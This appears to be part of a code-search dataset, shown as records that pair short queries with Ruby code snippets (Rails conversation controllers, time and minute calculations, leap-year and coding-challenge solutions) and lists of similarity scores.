\"/contact_us\"\n end\n end\n\n\n end", "def show\n @conversation = Conversation.find_by_id(@match.conversation_id)\n @messages = @conversation.messages\n @message = Message.new\n end", "def show\n @conversation = current_user.conversations.find_by_id params.require(:id)\n @messages = @conversation.messages.order('created_at')\n\n uc = @conversation.user_conversations.find_by_user_id(current_user)\n uc.read = true\n uc.save\n\n friend = @conversation.users.collect { |u| u if u != current_user }.compact.first\n @message = Message.new user: friend\n @to = friend.number\n @name = friend.name\n\n respond_to do |format|\n format.html\n format.json { render :json => @messages.to_json(include: :user, :methods => [:file_url]) }\n end\n end", "def index\n @user_conversations = UserConversation.all\n end" ]
[ "0.7146301", "0.714032", "0.714032", "0.7110651", "0.7077107", "0.67990476", "0.6738198", "0.67297983", "0.6636499", "0.6635097", "0.6604334", "0.65808874", "0.65128946", "0.65044904", "0.6499315", "0.6475913", "0.64590836", "0.64113516", "0.64113516", "0.64113516", "0.64113516", "0.64113516", "0.63939977", "0.6390582", "0.6383496", "0.63820314", "0.6377972", "0.6377972", "0.6377766", "0.6351177", "0.63205594", "0.63177437", "0.63158315", "0.63158315", "0.6311656", "0.6288042", "0.6287691", "0.6286353", "0.626418", "0.62634206", "0.6248142", "0.62469244", "0.62469244", "0.6223077", "0.6214921", "0.6208718", "0.6208718", "0.6208718", "0.6208718", "0.6208718", "0.6208718", "0.6208718", "0.6208718", "0.6208718", "0.6208718", "0.6208718", "0.6208718", "0.6208718", "0.6200198", "0.61924136", "0.6192194", "0.6184947", "0.6182582", "0.6181501", "0.6178523", "0.6157342", "0.6147349", "0.6145512", "0.61312526", "0.61084443", "0.6097961", "0.60871184", "0.6082657", "0.6064841", "0.605988", "0.6053672", "0.6049279", "0.60365915", "0.6029324", "0.6023451", "0.6011465", "0.5999652", "0.599012", "0.597918", "0.5962284", "0.5955206", "0.5951485", "0.59495443", "0.59436893", "0.5933161", "0.59315705", "0.59266126", "0.5926049", "0.59257513", "0.59244865", "0.5921687", "0.59157795", "0.5906356", "0.5904743", "0.5903015", "0.59022796" ]
0.0
-1
specifies number of minutes remaining
def get_time_remaining end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def minutes_remaining\n time_elapsed = (Time.new - @start_time) / 60\n (@total_paid * 60 - time_elapsed).floor\n end", "def minutes() 60 * seconds end", "def remaining_minutes()\n current_time = Time.now\n start_time = Delay.find_newest_travel_time(stop_position.bus.id, current_time)\n predicted_time = start_time + minutes_delayed * 60\n return predicted_time - current_time\n end", "def time_remaining\n end", "def time_remaining\n\n end", "def minutes ; self * 60 ; end", "def minutes\n _nudge[1]\n end", "def get_time_required\n 0 # number of minutes\n end", "def fifteen_minutes_remaining\n return nil unless fifteen_minutes && fifteen_minutes_usage\n\n fifteen_minutes - fifteen_minutes_usage\n end", "def minutes; self * MINUTE; end", "def minutes; self * MINUTE; end", "def minutes ; Duration[self * 60] ; end", "def total_minutes\n hours * 60 + minutes\n end", "def remaining_time()\n return @total_time_units - @done_time_units\n end", "def minutes\n self * SECONDS_IN_MINUTES\n end", "def calc_mins_till\n (@difference.round(2) / 60.00).round(2)\n end", "def seconds_in_minutes(num_min)\n\tnum_min * 60\nend", "def check_meter\n puts \"You have #{minutes_remaining} minutes remaining.\"\n end", "def seconds_remaining\n ends_at ? (ends_at - started_at).round : 0\n end", "def minutes\n (seconds % 3600) / 60\n end", "def countdown\n time_left = self.time_remaining\n m = (time_left / 60).to_s\n s = (time_left % 60)\n s = s >= 10 ? s.to_s : \"0#{s}\"\n \"0#{m}:#{s}\"\n end", "def timeRemaining(t1)\n\t\treturn subtract(t1,getCurrentTime)\n\tend", "def remaining_time\n # calculate how old is the feedback\n created_at = self.created_at.to_time\n diff_seconds = (Time.now - created_at).round\n remaining = TEN_MINUTES - diff_seconds\n\n remaining.to_s\n end", "def minutes\n (@seconds.abs / 60) % 60 * (@seconds < 0 ? -1 : 1)\n end", "def durationInMinutes\n @duration/60.0 #Force floating pt.\n end", "def time_remaining(options = {})\n options[:private] ||= false\n\n if options[:private]\n [duration - seconds_since_started, 0].max\n else\n [PUBLIC_TIME_LIMIT - seconds_since_started, 0].max\n end\n end", "def duration_block_in_minutes\n 180\n end", "def minutes\n self.to_i * 60\n end", "def minutes\n\t\treturn self * 60\n\tend", "def minutes\n\t\treturn self * 60\n\tend", "def calculate_length(minutes, seconds)\n (minutes * 60) + seconds\nend", "def remaining\n [0, @duration - elapsed].max\n end", "def get_duration_integer_minutes\n\t\t((end_time - start_time) / 60).to_i\n\tend", "def minutes\n value_parts[1]\n end", "def minutes\n value_parts[1]\n end", "def drive_time_in_minutes\n if @status != \"OK\"\n drive_time = 0\n else\n drive_time = @doc.css(\"duration value\").last.text\n convert_to_minutes(drive_time)\n end\n end", "def to_minutes; Rational === @val ? @val/60 : @val/60.0 end", "def remaining_hours\n \n end", "def durationInMinutes=( value)\r\n @duration = (value * 60).to_i\r\n end", "def get_otp_remaining_time\n (Time.now.utc.to_i / 30 + 1) * 30 - Time.now.utc.to_i\n end", "def timeout_in_minutes\n data[:timeout_in_minutes]\n end", "def time_remaining\n member.last_backup_job.time_remaining rescue 0\n end", "def time_remaining(interval = 1.second, now = Time.zone.now)\n (next_due_at(now) - now) / interval\n end", "def seconds\n self * 60\n end", "def in_minutes\n Duration::new(seconds: @seconds).to_minutes\n end", "def while_time_remaining; end", "def calculate_remaining_time\n expiry_time = expires_at.to_i\n current_time = DateTime.now.to_i\n if current_time < expiry_time\n message = ActiveSupport::Duration.build(expiry_time - current_time).parts\n duration = ''\n duration += \"#{message[:days]} day/s \" if message[:days] > 0\n duration += \"#{message[:hours]} hour/s \" if message[:hours] > 0\n duration += \"#{message[:minutes]} minute/s\" if message[:minutes] > 0\n duration\n end\n end", "def duration; ((endtime()- starttime()) / 60).to_i; end", "def getMinutes\r\n\t\t\t\t\treturn @minutes\r\n\t\t\t\tend", "def time_tolerance_seconds\n 600\n end", "def meter_maid_check\n if minutes_remaining < 0\n fine = minutes_remaining * -3\n \"Bummer! You got a $#{fine} ticket.\"\n else\n 'The meter maid came and went.'\n end\n end", "def end_of_minute\n change(sec: 59.999)\n end", "def minutes_as_duration\n WorkEntry.minutes_as_duration(self.minutes)\n end", "def remaining_time\n t = date.to_time - Time.now\n \"%2d Tage %2d h %2d Min.\" % [t/86400, t/3600%24 , t/60%60]\nend", "def running_time_in_minutes\n return 0 if self.started_at.nil? and self.stopped_at.nil?\n\n if self.stopped_at.nil?\n # Raid has not yet been stopped, use the current time\n ((Time.now - self.started_at)/60.0).floor\n else\n ((self.stopped_at - self.started_at)/60.0).floor\n end\n end", "def get_duration\n ((finish - start) / 60 / 60) - (break_length / 60)\n end", "def difference_in_minutes time_one, time_two\n time_one_with_resetted_date = reset_date_for_time time_one\n time_two_with_resetted_date = reset_date_for_time time_two\n (time_one_with_resetted_date - time_two_with_resetted_date) / 60\n end", "def trial_days_remaining\n days_elapsed = (Time.now.to_i - self.trial_started_at.to_i) / 60 / 60 / 24\n remaining = APP_CONFIG['trial_length'] - days_elapsed\n remaining = 0 if remaining < 0\n remaining\n end", "def seconds ; return aseconds % SPM ; end", "def timeout_in\n if self.admin?\n 10.minutes\n else\n 15.minutes\n end\n end", "def duration\n 30\n end", "def time_elapsed\n if !self.finished.blank?\n ((self.finished - self.started) / 60).to_i\n end\n end", "def tock\n @minute += 1\n end", "def time_left_in_seconds\n seconds = time_left[:seconds]\n seconds += time_left[:minutes] * 60\n seconds += time_left[:hours] * 60 * 60\n seconds += time_left[:days] * 60 * 60 * 24\n seconds\n end", "def remaining\n (Time.now - @last_scrape).to_i \n end", "def get_minutes\n de = self.string_to_datetime(@from)\n a = self.string_to_datetime(@to)\n \n total = ((a.hour - de.hour) * 60) + (a.min - de.min)\n end", "def total_time\n minutes_to_human_readable_time(entries.internal.sum(:duration) + expected_remaining_work * 60)\n end", "def hours ; self * 60.minutes ; end", "def calc_hours_till\n (calc_mins_till / 60.00).round(2)\n end", "def advance_minutes(mins)\n self + (mins * 60)\n end", "def hours() 60 * minutes end", "def remain_time\n rem_time = $time - Time.new\n rem_time.to_i\nend", "def length\n return 0.0/0.0 unless depart_time && return_time\n (return_time - depart_time)/60\n end", "def recalculate_stats_interval\n 30 # minutes\n end", "def time_notification\n \"You have #{@time_to_answer / 60} min #{@time_to_answer % 60} sec left\"\n end", "def restart_notification_snooze_duration_in_minutes=(value)\n @restart_notification_snooze_duration_in_minutes = value\n end", "def getDurationMinutes\r\n\t\t\t\t\treturn @durationMinutes\r\n\t\t\t\tend", "def lifetime_in_minutes\n return @lifetime_in_minutes\n end", "def counting_minutes(str)\n time1, time2 = str.split('-')\n mins1, mins2 = time_to_minutes(time1), time_to_minutes(time2)\n difference = mins2 - mins1\n if difference.negative?\n difference += 1440\n end\n difference\nend", "def display_duration_minutes\n if duration_minutes >= 60\n hour_value = duration_minutes / 60\n minutes_value = duration_minutes.remainder(60)\n\n return \"#{hour_value} #{'hour'.pluralize(hour_value)}\" if minutes_value.zero?\n\n \"#{hour_value} #{'hour'.pluralize(hour_value)} #{duration_minutes.remainder(60)} minutes\"\n else\n \"#{duration_minutes} minutes\"\n end\n end", "def lifetime_in_minutes=(value)\n @lifetime_in_minutes = value\n end", "def duration(quest)\n created = quest.created_at\n updated = quest.updated_at\n minutes = (updated - created) / 1.minutes\n return minutes.round\n end", "def seconds_to_minutes(seconds)\n seconds / 60\nend", "def time_remaining(end_time)\n remaining = (end_time - Time.now).ceil\n format_countdown(remaining)\n end", "def end_of_minute\n change(\n sec: 59,\n usec: Rational(999999999, 1000)\n )\n end", "def get_route_duration\n return duration.div(3600)+\"Stunden\"+(duration % 60)+ \"Minuten\" \n end", "def quantity_of_seconds(time)\n time.hour * 60 + time.minute * 60 + time.second + time.second_fraction\nend", "def seconds() self end", "def delay\n val = (self['min-time']/1000.0/60.0)\n val < 1 ? val.round(1) : val.round\n end", "def time_duration(mytime, start_time, end_time)\n # implement this\n return 9999999\n end", "def work_needed(project_minutes, freelances)\n freelance_hours = 0\n freelance_minutes = 0\n my_hours = 0\n my_minutes = 0\n\n freelances.each do |f|\n freelance_hours += f[0]\n freelance_minutes += f[1]\n end\n\n freelance_total = (freelance_hours * 60) + freelance_minutes\n remaining = project_minutes - freelance_total\n\n p freelance_total\n p remaining\n\n if remaining >= 60\n my_hours = remaining / 60\n my_minutes = remaining - (my_hours * 60)\n else\n my_minutes = remaining\n end\n\n if remaining < 1\n return \"Easy Money!\"\n else\n return \"I need to work #{my_hours} hour(s) and #{my_minutes} minute(s)\"\n end\n\nend", "def time_length\n (end_time.hour - start_time.hour) + (end_time.min - start_time.min) / 60.0\n end", "def timeout_in\n\t if self.role=='admin'\n\t 7.days\n\t else\n\t 2.days\n\t end\n\tend", "def round_minutes(minutes)\n if minutes >= 60\n # Division will provide the number of hours\n @hour += (minutes / 60).floor\n # Mod will provide the number of minutes\n # TODO: Will this work?\n round_minutes(minutes % 60)\n else\n minutes\n end\n end", "def total_preparation_submission_minutes\n (DateTime.now.to_i - submission.client.created_at.to_datetime.to_i) / 60\n end", "def days_remaining\n if self.days_passed == nil\n puts \"Petition cannot calculate days remaining until it has been filed.\"\n elsif self.days_passed != nil\n days_remaining = 180 - days_passed\n return days_remaining.round(3)\n else \n puts \"Something may be wrong with this petition.\"\n end\n end", "def _timeout_in\n 1.minute\n end", "def time_until_unlock\n return 0 unless access_locked?\n return ((User.unlock_in - (Time.current - locked_at)) / 60).round\n end", "def setMinutes(minutes)\r\n\t\t\t\t\t@minutes = minutes\r\n\t\t\t\tend", "def timeInterval()\n\t\t@duration\n\tend" ]
[ "0.77680886", "0.7713077", "0.7649952", "0.74174297", "0.74010336", "0.73654073", "0.73183006", "0.718702", "0.7151018", "0.7117252", "0.7117252", "0.70953375", "0.70412093", "0.7016962", "0.7008105", "0.6902535", "0.6895499", "0.68919617", "0.68895185", "0.68888056", "0.68773067", "0.6767232", "0.6763991", "0.67453456", "0.6741822", "0.67413837", "0.6724203", "0.67226976", "0.6708535", "0.6708535", "0.6665397", "0.6638759", "0.66237664", "0.66043556", "0.66043556", "0.65634286", "0.6549064", "0.65394795", "0.65386075", "0.6520058", "0.64960307", "0.6489135", "0.64758927", "0.6472015", "0.6464701", "0.6460986", "0.64448214", "0.64231724", "0.63877255", "0.6350928", "0.63466674", "0.63453835", "0.6324163", "0.6316619", "0.6311347", "0.6309681", "0.6309572", "0.630261", "0.62952846", "0.6289998", "0.62705386", "0.625119", "0.624352", "0.6233729", "0.6229988", "0.6223107", "0.6220541", "0.62097985", "0.62013847", "0.6200414", "0.61902434", "0.6189107", "0.61841947", "0.61770964", "0.6173514", "0.61713237", "0.61630327", "0.6159688", "0.61519563", "0.6142224", "0.6136228", "0.61315286", "0.6117653", "0.61132663", "0.6107599", "0.61019146", "0.61014074", "0.60868734", "0.6083906", "0.6057334", "0.6042945", "0.6038263", "0.60234034", "0.6022548", "0.6000906", "0.59895384", "0.5983722", "0.594651", "0.5946165", "0.59415776" ]
0.7353875
6
I worked on this challenge [by myself, with: Riley Scheid]. Your Solution Below
def leap_year? (year) if year % 4 != 0 return false elsif year % 100 != 0 return true elsif year % 400 != 0 return false else return true end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def solution4(input)\n end", "def isLucky(n)\r\nhalf1 = []\r\nhalf2 = []\r\nn_string = n.to_s\r\n\r\n\r\nfirsthalf = (n_string.length / 2) - 1\r\nsecondhalfstart = (n_string.length / 2)\r\nsecondhalfend = (n_string.length - 1)\r\n(0..firsthalf).each do |idx|\r\n half1 << n_string[idx].to_i\r\nend\r\n\r\n(secondhalfstart..secondhalfend).each do |idx|\r\n half2 << n_string[idx].to_i\r\nend\r\n\r\nreturn true if half1.inject(:+) == half2.inject(:+)\r\nreturn false\r\nend", "def solution(s, p, q)\n # write your code in Ruby 2.2\n g = s.length + 1\n a = (s.length + 1)**3\n c = (s.length + 1)**2\n tmp = []\n res = []\n tmp.push 0\n o = 0\n s.split('').each do |i|\n o += if i == 'T'\n 1\n elsif i == 'G'\n g\n elsif i == 'C'\n c\n else\n a\nend\n tmp.push o\n end\n (0...p.length).each do |k|\n o = tmp[q[k] + 1] - tmp[p[k]]\n if o >= a\n res.push 1\n elsif o >= c\n res.push 2\n elsif o >= g\n res.push 3\n else\n res.push 4\n end\n end\n res\nend", "def problem_57\n ret,n,d = 0,1,1\n 1000.times do |i|\n n,d = (n+2*d),(n+d)\n ret += 1 if n.to_s.length > d.to_s.length\n end\n ret\nend", "def is_happy(n)\n i = 0\n r = false\n destination = []\n while r == false\n n.to_s.split(\"\").each do |x|\n destination << ((x.to_i * x.to_i))\n end\n i = i + 1\n n = destination.inject(&:+)\n r = true if n == 1\n destination = []\n break if i == 1000\n end\n if r == true\n p r\n else\n p false\n end\nend", "def solution(a)\n number = a.to_s.chars\n first_arrays = []\n (number.length/2).times do\n first_arrays << number.shift\n first_arrays << number.rotate(number.length-1).shift\n number.pop\n end\n ( first_arrays + number ).join(\"\").to_i\nend", "def isLucky(n)\n new_array = n.to_s.split(\"\")\n new_length = new_array.length\n\n a, b = [], []\n\n (0...new_length / 2).each { |x| a.push(new_array[x].to_i) }\n (new_length / 2...new_length).each { |y| b.push(new_array[y].to_i) }\n\n if a.inject(:+) == b.inject(:+)\n return true\n else\n false\n end\n\nend", "def input_string\n result = \"73167176531330624919225119674426574742355349194934\"\n result += \"96983520312774506326239578318016984801869478851843\"\n result += \"85861560789112949495459501737958331952853208805511\"\n result += \"12540698747158523863050715693290963295227443043557\"\n result += \"66896648950445244523161731856403098711121722383113\"\n result += \"62229893423380308135336276614282806444486645238749\"\n result += \"30358907296290491560440772390713810515859307960866\"\n result += \"70172427121883998797908792274921901699720888093776\"\n result += \"65727333001053367881220235421809751254540594752243\"\n result += \"52584907711670556013604839586446706324415722155397\"\n result += \"53697817977846174064955149290862569321978468622482\"\n result += \"83972241375657056057490261407972968652414535100474\"\n result += \"82166370484403199890008895243450658541227588666881\"\n result += \"16427171479924442928230863465674813919123162824586\"\n result += \"17866458359124566529476545682848912883142607690042\"\n result += \"24219022671055626321111109370544217506941658960408\"\n result += \"07198403850962455444362981230987879927244284909188\"\n result += \"84580156166097919133875499200524063689912560717606\"\n result += \"05886116467109405077541002256983155200055935729725\"\n result += \"71636269561882670428252483600823257530420752963450\"\n\n result\nend", "def solution(a)\r\n n=a.size\r\n i=1\r\n for k in a.sort do\r\n\tif k!=i \r\n\t then \r\n\t return 0\r\n\t break;\r\n\tend\r\n i+=1;\r\n end\t\r\n return 1 if a.inject(:+) ==n*(n+1)/2;\r\nend", "def solution(s, p, q)\r\n # write your code in Ruby 2.2\r\n # A -1\r\n # C -2\r\n # G -3\r\n # T -4\r\n # s - string with n charactekrs\r\n #cagccta\r\n #0123345\r\n #p,q - not empty arrays\r\n #\r\n #p[0]=2 q[0]=4 gcc 322 => 2\r\n #p[1]=5 q[1]=5 t 4 => 4\r\n \r\n \r\n arr = Array.new(q.count)\r\n \r\n \r\n\r\n \r\n arr.each_with_index{|el, i|\r\n \r\n ss = s[p[i]..q[i]]\r\n \r\n if ss.index('A') \r\n n = 1\r\n elsif ss.index('C')\r\n n=2\r\n elsif ss.index('G')\r\n n=3\r\n else \r\n n=4\r\n end\r\n \r\n arr[i] = n\r\n \r\n }\r\n \r\n \r\n \r\n arr\r\n \r\nend", "def solution(n)\n n.to_s.split(//).inject(1) { |a,d| a + d.to_i }\nend", "def solution(n)\n # write your code in Ruby 2.2\n a = n.to_s(2)\n arr = []\n if a[-1] == '1'\n arr = a.split('1')\n else\n arr = a.split('1')\n arr.pop\n end\n if arr.max.nil?\n 0\n else\n arr.max.length\n end\nend", "def solution\n (2..(9**5 * 6)).select do |n|\n n.to_s.split(//).map do |d|\n d.to_i ** 5\n end.reduce(:+) == n\n end.reduce(:+)\nend", "def isLucky(n)\n sum, sum2 = 0, 0\n arr = n.to_s.split(\"\")\n \n first_half = arr.take(arr.size / 2) \n second_half = arr.drop((arr.size / 2))\n first_half.each { |x| sum += x.to_i }\n second_half.each {|x| sum2 += x.to_i}\n \n sum == sum2\nend", "def decodeHalfway(input)\n sum = 0\n\n # Only have to loop through half the array since the numbers are being compared halfway around\n # Multiply each matching character by 2 to compensate for not looping through its pair\n input.chars[0..input.length/2 - 1].each_with_index do |char, i|\n sum += 2*char.to_i if char == input[i + input.length/2]\n end\n sum\nend", "def solution(n)\n n.to_s(2).reverse.to_i.to_s.split('1').map(&:length).max || 0\nend", "def solution(a, b)\n if a.length > b.length\n return (b + a + b).to_s\n else\n return (a + b + a).to_s\n end\nend", "def solution(a)\n # write your code in Ruby 2.2\n binding.pry\n trips = Hash.new {|h,k| h[k]=0}\n start = 0\n ending = 0\n min = nil\n a.each_with_index do |trip,i|\n ending = i\n\n if trips[trip] == 0\n min = ending - start\n end\n trips[trip] += 1\n\n while start < ending\n break if trips[a[start]] - 1 == 0\n trips[start] -= 1\n start += 1\n min = ending - start if ending-start < min\n end\n end\n min\nend", "def solution(a)\n length = a.length\n sum = (length + 1) * (length + 1 + 1) / 2\n\n sum - a.inject(0) { |acc, e| acc += e }\nend", "def solution(a)\r\n # write your code in Ruby 2.2\r\n #trangular\r\n # a[0] = 10\r\n # a[2] = 5\r\n # a[4] = 8\r\n # 10 + 5 > 8\r\n # 5 + 8 > 10\r\n #8 + 10 > 5\r\n \r\n \r\n l=a.count\r\n \r\n i=0\r\n while(i<l) do\r\n j=i+1\r\n while(j<l) do\r\n k=j+1\r\n \r\n \r\n while(k<l) do\r\n if((a[i] + a[j] > a[k]) && (a[j] +a[k] > a[i]) && (a[k] + a[i] >a[j]))\r\n return 1\r\n end\r\n k+=1 \r\n end \r\n \r\n j+=1 \r\n end\r\n i+=1\r\n end\r\n \r\n return 0\r\n \r\nend", "def challenge; end", "def solution(a)\n return 1 if a.empty?\n a.sort!\n return 1 if a.first > 1\n return a.first + 1 if a.length <2\n (0..(a.length)).each do |index|\n return a[index] + 1 if a[index] + 1 != a[index + 1]\n end\n return a.last + 1\nend", "def solution(number)\nn = 0..number\na = []\nfor i in n\n if i % 3 == 0 || i % 5 == 0\n a = a.push(i)\n end\n end\ns = 0\n# a.pop\na.each {|x| s += x}\ns\nend", "def problem_76a\n num = 100\n solve = lambda do |a,off,max|\n n = 0\n while a[off] < max && (a.length-off) >= 2 \n a[off] += a.pop\n n += 1\n n += solve.call(a.dup,off+1,a[off]) if a.length - off > 1\n end\n n\n end\n puts 1 + solve.call([1] * num, 0,num-1)\nend", "def solve(s)\n answer = \"\"\n (0...s.length - 1).each do |idx|\n if s[idx] != s[idx + 1]\n answer += s[idx]\n end\n if idx == s.length - 2 && s[idx] == s[idx + 1]\n answer += s[idx]\n end\n end\n return answer\nend", "def solutions(a)\r\n\r\n ary = a.sort\r\n ary.each_with_index do |num, index|\r\n if ary[index+1] != num + 1 && index != ary.length-1\r\n return num + 1\r\n end\r\n end\r\n\r\nend", "def solution(a)\r\n a.each do |num|\r\n if (a.count(num) % 2) != 0\r\n return num\r\n end\r\n end\r\nend", "def solution(a)\n # write your code in Ruby 2.2\n \n is_perm = 0\n \n n = a.length\n b = [0]*n\n \n \n a.each do |v|\n break if v > n \n break if b[v] == 1 \n b[v] = 1\n end\n \n sum = b.inject(:+)\n if sum == n\n is_perm = 1\n end\n \n is_perm\nend", "def solution(s)\n if s.length.odd?\n center = s.length / 2\n if s[0...center] == s[center + 1..s.length].reverse\n return center \n end\n end\n -1\nend", "def solution(a)\n # write your code in Ruby 2.2\n sum = a.inject(:+)\n acc = 0\n\n min = 99999999\n a[0..-2].each do |n|\n sum -= n\n acc += n\n\n min = [(acc - sum).abs, min].min\n end\n min\nend", "def isLucky(n)\n a = n.to_s.split(\"\")\n full = a.count - 1\n half = a.count/2 - 1\n \n total_1 = 0\n total_2 = 0\n \n for i in 0..full\n if i > half\n total_2 += a[i].to_i\n else\n total_1 += a[i].to_i\n end\n end\n \n if total_1 == total_2\n true\n else\n false\n end\nend", "def solve(input)\n data = input.chars\n buckets = []\n current = []\n data.each_with_index do |c, i|\n n = data[i + 1]\n current << c\n unless n == c\n buckets << current\n current = []\n end\n break if n.nil?\n end\n\n ret = ''\n buckets.each do |b|\n ret += b.count.to_s\n ret += b.first\n end\n ret\nend", "def solution(a)\n n = a.size\n return 0 unless n > 2\n a.sort!\n\n (2..n - 1).each do |i|\n return 1 if a[i - 2] + a[i - 1] > a[i]\n end\n\n return 0\nend", "def solution(a)\n n = a.size\n passing_cars = 0\n\n suffix_sums = Array.new(n + 1, 0)\n\n a.reverse.each_with_index do |elem, i|\n suffix_sums[i + 1] = suffix_sums[i] + elem\n end\n suffix_sums.reverse!\n\n a.each_with_index do |car, i|\n if car == 0\n passing_cars += suffix_sums[i]\n end\n end\n\n passing_cars > 1_000_000_000 ? -1 : passing_cars\nend", "def solution(a)\n # write your code in Ruby 2.2\n permutation = Array(1..a.size)\n # puts permutation\n return 1 if permutation - a == []\n 0\nend", "def solution(a)\n # write your code in Ruby 2.2\n n = a.length\n \n counter = Array.new(n+1, 0)\n \n a.each do |x|\n counter[x-1] += 1\n end\n \n return counter.index { |x| x == 0 } + 1\nend", "def f(n)\n # your code here\n result = []\n possibles = (2..n).flat_map{ |s| [*2..n].combination(s).map(&:join).to_a }\n p possibles\n possibles.each do |i|\n x = 0\n temp_arr = []\n temp = i.split('').map { |j| j.to_i }\n p temp\n while x < temp.length do \n if i[x + 1] != i[x] + 1 || i[x + 1] == nil\n temp_arr << i[x]\n end\n x += 1\n end\n result << temp_arr\n end\n result.length\nend", "def solution(n)\n\t(1..n).map(&:to_s).map(&:chars).join.chars.map(&:to_i).reduce(:+)\nend", "def solution(a)\n return 0 if a.length < 3\n a.sort!\n\n for i in 0..(a.length - 3)\n return 1 if a[i] + a[i + 1] > a[i + 2]\n end\n return 0\nend", "def solution(a)\n ans = 0\n for i in 1 .. (a.length - 1)\n ans += a[i]\n end \n ans\nend", "def solve(str)\n idx = 0\n count = 0\n\n substr_1 = ''\n substr_2 = ''\n\n loop do\n substr_1 = str[0..idx]\n substr_2 = str[(idx + 1)..-1]\n\n substr_1.to_i.odd? ? count += 1 : nil \n substr_2.to_i.odd? ? count += 1 : nil \n \n idx += 1\n break if idx >= str.length\n end\n count\nend", "def isLucky(n)\n n = n.to_s.split('').map(&:to_i)\n n.shift(n.size/2).reduce(:+) == n.reduce(:+)\nend", "def solution a\n a.sort!\n until a.empty?\n answer = a.pop\n return answer if a.pop != answer\n end\nend", "def theLoveLetterMystery(s)\n chars = s.chars\n size = chars.length\n sum = 0\n ((size+1)/2..(size -1)).each do |i|\n num = chars[i].ord\n target_num = chars[size-1-i].ord\n sum += (num - target_num).abs\n end\n sum\nend", "def captcha(input)\n sum = 0\n 0.upto(input.length - 1) do |i|\n sum += input[i].to_i if input[i] == input[(i+1) % input.length]\n end\n sum\nend", "def icecreamParlor(m, arr)\n # Complete this function\n res = []\n arr.each_index do |i|\n if i + 1 !=nil\n j = i + 1\n while j <= arr.length - 1\n if arr[i]+arr[j] == m\n res.push([i+1,j+1])\n end\n j+=1\n end\n end\n end\n res\nend", "def solution(a)\n s= a.sort\n 0.step(s.size - 1).inject(0) do |result, x|\n z= x+2\n (x+1).step(s.size - 1).inject(result) do |acc, y|\n z+=1 while z < s.size && s[x] + s[y] > s[z]\n acc += z-y-1\n end\n end\nend", "def problem18(r) \n h = r.length\n sum = 0\n for i in 0..h-1 \n \n end\nend", "def solution(a)\n # write your code in Ruby 2.2\n counts = {}\n missing = -1\n\n a.each do |a_i|\n counts[a_i] = counts[a_i].to_i + 1\n end\n\n (1..a.length).each do |i|\n if(counts[i].nil?)\n missing = i\n break\n end\n end\n\n if(missing == -1)\n missing = a.length + 1\n end\n\n missing\nend", "def dominant_octopus(fish)\n #sorted = []\n return fish if fish.length < 2\n pivot = fish.first\n left = fish[1..-1].select { |feesh| feesh.length <= pivot.length }\n #p left\n right = fish[1..-1].select { |feesh| feesh.length > pivot.length }\n\n dominant_octopus(left) + [pivot] + dominant_octopus(right)\n \n\n\nend", "def solution(n)\n (1..n).to_a.join.chars.map(&:to_i).sum\nend", "def goodVsEvil(good, evil)\n # good_power, evil_power = 0, 0\n # good.split.each_with_index do |num, i|\n # if i < 3\n # good_power += num.to_i * (i + 1)\n # elsif i < 5\n # good_power += num.to_i * i\n # elsif i == 5\n # good_power += num.to_i * 2 * i\n # end\n # end\n god = good.split.each_with_index.inject(0) do |sum, (num, i)|\n if i < 3\n sum + num.to_i * (i + 1)\n elsif i < 5\n sum + num.to_i * i\n elsif i == 5\n sum + num.to_i * 2 * i\n end\n end\n \n \n evl = evil.split.each_with_index.inject(0) do |sum, (num, i)|\n case i\n when 0\n sum + num.to_i * (i + 1)\n when 1, 2, 3\n sum + num.to_i * 2\n when 4\n sum + num.to_i * (i - 1)\n when 5\n sum + num.to_i * i\n when 6\n sum + num.to_i * (i + 4) \n end\n end\n \n if evl > god\n str = \"Evil eradicates all trace of Good\"\n elsif evl < god\n str = \"Good triumphs over Evil\"\n else\n str = \"No victor on this battle field\"\n end\n \n \"Battle Result: #{str}\"\nend", "def correct(element)\n result = nil\n element.downto(0).each do |j|\n i = element - j\n if j == element && j % 3 == 0\n result = Array.new(j, 5)\n elsif i % 5 == 0 && j % 3 == 0\n result = Array.new(j, 5) + Array.new(i, 3)\n elsif i == element && i % 5 == 0\n result = Array.new(i, 3)\n end\n\n break if result\n end\n\n if result.nil?\n puts -1\n else\n puts result.join()\n end\nend", "def solution\n (1..40).inject(:*) / (1..20).inject(:*)**2\nend", "def solution(n)\n x = (n**0.5).floor\n (1..x).reduce(0) { |s, i| n % i == 0 ? s += (i * i == n ? 1 : 2) : s }\nend", "def hackerrankInString(str)\n expected_chars = %w[h a c k e r r a n k]\n input_chars = str.chars\n\n str.chars.each do |char|\n # Thought so, apparently not: Edge case: there should be no more chars after the last 'k' in hackerrank.\n # break if expected_chars.empty?\n\n input_chars.shift\n expected_chars.shift if char == expected_chars[0]\n end\n\n expected_chars.empty? && input_chars.empty? ? 'YES' : 'NO'\nend", "def minimumBribes(q)\n bribes = 0\n q.reverse.each_with_index do |n, i|\n if q[i] - (i + 1) > 2\n bribes = \"Too chaotic\"\n break\n end\n j = [0, q[i] - 2].max\n while j < i\n if q[j] > q[i]\n bribes += 1\n end\n j += 1\n end\n end\n puts bribes\nend", "def solution(a)\n return 1 if a.count == 0\n \n real_sum = a.inject(:+)\n expected_sum = (a.count + 1) * (a.count + 2) / 2.0\n (expected_sum - real_sum).to_i\nend", "def solution(a)\n # write your code in Ruby 2.2\n numbers = Array(1..(a.size + 1))\n res = numbers - a\n res[0]\nend", "def is_happy(n)\n return false if n < 10 && n % 2 == 0\n return false if n < 1 \n return true if n == 1\n \n sum = 0\n\n nsplit = n.to_s.split(\"\")\n nsplit.each do |i|\n sum += (i.to_i * i.to_i)\n end\n\n return is_happy(sum)\n \nend", "def solution(k, a)\n count = 0\n current = 0\n a.each { |length| \n current += length\n if current >= k\n current = 0\n count += 1\n end\n }\n count\nend", "def solution(n)\n # write your code in Ruby 2.2\n a = Math.sqrt(n).floor\n a -= 1 while n % a != 0\n b = n / a\n (a + b) * 2\nend", "def solve(nums)\n count = 0\n nums.each do |num|\n if num.to_s.length % 2 != 0\n count += 1\n end\n end\n return count\nend", "def solution(roman)\n split = roman.split(\"\")\n last_value = 0\n split.reduce(0) do |final, char|\n current = CONVERSION[char.upcase]\n binding.pry\n if current >= last_value\n final += current\n else\n final -= current\n end\n binding.pry\n last_value = current\n final\n end\nend", "def solution(a)\n # write your code in Ruby 2.2\n\n # sort a\n a = a.sort\n odd = 0\n\n # loop over the array\n (0..(a.length-1)).step(2) do |i|\n 